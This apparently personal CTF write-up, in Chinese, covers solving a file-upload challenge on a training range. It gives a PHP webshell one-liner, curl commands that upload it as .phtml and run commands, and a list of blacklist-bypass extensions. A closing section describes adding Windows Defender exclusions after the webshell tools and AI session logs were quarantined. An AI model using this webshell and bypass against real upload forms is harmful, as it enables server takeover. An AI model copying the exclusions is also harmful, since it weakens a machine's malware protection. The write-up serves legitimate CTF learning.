2026-09-24 通关。目标站:云演靶场
<随机子域>.clsadp.com环境指纹:Ubuntu 14.04 + Apache 2.4.7 + PHP 5.5.9,跑在 docker 里(有/.dockerenv) 一句话:前端 JS 白名单是假象、服务端不校验内容、黑名单只拦php|php3|php4|php5→ 传.phtml直接 RCE,flag 在/flag。
0. 全局思路图
根路径(装饰页 SVG 不动摇)
→ 读前端 js/main.js ← 发现「白名单 + checkFile() 永远返回 undefined = 表单提交不了」
→ 判定:校验在前端 = 假象 ← 唯一出路是绕过浏览器,用 curl/Burp 直接 POST
→ 试探 ①:图片马(PNG+PHP 拼接) ← 死路!服务端不查内容,白做
→ 试探 ②:改后缀 ← 真考点:黑名单枚举
拦:php php3 php4 php5
放:phtml pht phps phar 大写 PHP
→ .phtml 上传成功 → 响应回显 ./uplo4d/<md5>.phtml
→ 访问 + ?key=id → RCE(www-data) → cat /flag
1. 信息收集:先确认"校验在哪一层"
根路径只有一张写着「你有解题思路了嘛?」的 SVG 装饰页 —— 纯干扰项,别被唬住;表单 POST 到 / 自身(不是 /upload.php 之类)。
看前端 js/main.js,只有 .jpg|.png|.gif 白名单。关键细节:checkFile() 校验通过时返回 undefined,返回 falsy 意味着表单的提交事件被拦住 —— 也就是说用浏览器正常操作根本提交不出去。
这一条把整题的性质定死了:校验只在前端。前端的任何限制都等价于没有限制,唯一的动作是"别走浏览器"。
2. 死路预警:图片马在这题是多余动作
第一反应通常是"前端只让传图片 → 那就做图片马(GIF89a 头 / PNG+PHP 拼接 / copy /b a.png+b.php)"。这题不需要,做了也白做。
因为服务端完全不校验文件内容:getimagesize()、文件头、内容特征,一个都没查。一个纯文本的 PHP 文件命名成 x.png 也照收。
判据:只有在服务端真的用
getimagesize/exif_imagetype/文件头校验内容时,才需要图片马。判断方法是先随便传一个"纯文本的 .png"试试 —— 收了就说明内容校验不存在,图片马从选项里划掉。这一题白白消耗时间就消耗在这里。
3. 真考点:黑名单后缀枚举
服务端只做后缀黑名单,拦 php / php3 / php4 / php5。然后就是枚举同义后缀:
| 后缀 | 结果 |
|---|---|
.phtml |
✅ 会执行 → 用的就是它 |
.pht |
✅ 放行(等价可执行) |
.phar |
✅ 放行 |
.PHP(大写) |
✅ 放行(黑名单没做大小写归一) |
.phps |
⚠️ 放行但只回显源码(走 source handler,拿不到 shell) |
为什么 .phtml 会执行:Ubuntu 的 apache php5.conf 用的是
<FilesMatch ".+\.ph(p[345]?|t|tml)$">
SetHandler application/x-httpd-php
t 和 tml 都在这个正则里,所以 .phtml 被交给 PHP handler 执行。反过来 .phps 匹配的是 application/x-httpd-php-source,只高亮源码不执行 —— 能读源码,但没有 RCE。
这条"
.phtml为什么能解析"就是环境指纹的价值:Ubuntu/Debian 系 + mod_php5 才有这个<FilesMatch>写法。指纹一确认,后缀选择当场就定了,不用一个个盲试。
4. 利用:绕过浏览器直接 POST
前端限制的唯一解法 —— curl(Burp 同理,抓包改 filename 再放行):
# 一句话马: <?php @system($_GET['key']);?>
curl -F "upload_file=@sh.phtml;filename=img.phtml" http://<子域>/
要点:
- 表单字段名必须是 upload_file(从前端 HTML/JS 里读出来的),字段名错服务端收不到文件。
- filename= 显式指定后缀,否则 curl 会按本地文件名 sh.phtml 用(这里恰好一样;本地文件叫别的名字时这行是必须的)。
响应里直接给 URL:
Upload Success! Look here~ ./uplo4d/<md5>.phtml
上传后的文件名被重命名为 <md5>.<后缀>,但后缀保留 —— 所以 .phtml 的可执行性不会丢。URL 不用猜,从响应体里抄。
curl "http://<子域>/uplo4d/<hash>.phtml?key=id" # 回显 uid=33(www-data)
curl "http://<子域>/uplo4d/<hash>.phtml?key=cat+/flag" # flag 在 /flag
权限 www-data,不需要提权。
5. 复盘:这题教了什么
- 先定位校验层,再想绕过。前端校验 = 无校验,动作是"换工具发请求",不是"构造畸形文件"。
- 不要条件反射做图片马。内容校验不存在时它 100% 是浪费时间。先传一个假图片探路。
- 黑名单枚举是标准动作:
php/php3/php4/php5被拦时,phtml/pht/phps/phar/大写是固定清单;.phps只能读源码,别指望它给 shell。 - 环境指纹决定绕过选型:
php5.conf的<FilesMatch>写法 → 类 Debian 系 →.phtml能跑。 - 文件名会重命名但保留后缀 —— 重命名不影响利用,URL 一定在响应里。
6. 附带教训:别让工具和记录留在被实时扫描的目录
这题顺手下了菜刀 / antSword,并留了明文 payload 与 Claude 会话记录,结果触发 Defender 连续隔离:
- 菜刀 →
Backdoor:PHP/Chopper.B!dha、Backdoor:JS/Chopper.GG!dha - Claude 的明文 jsonl 会话记录(含 PHP 马内容)→
Backdoor:PHP/Remoteshell.E/.C,且因文件被独占锁而反复重试、报警刷屏
处理:排除 D:\CTF、C:\Users\zxh15\.claude\projects、C:\Users\zxh15\Desktop\001,并删掉桌面 payload。
结论:靶场里能用 curl 就别拉 webshell 工具;payload 别丢桌面;会话记录被安全软件隔离不是"文件坏了"。
相关记忆:yunyan-lab-bruteforce-captcha-bypass(同站登录爆破题)、clsadp-captcha-ocr-and-bak-leak(同站 check.php.bak 源码泄露 + 验证码 OCR)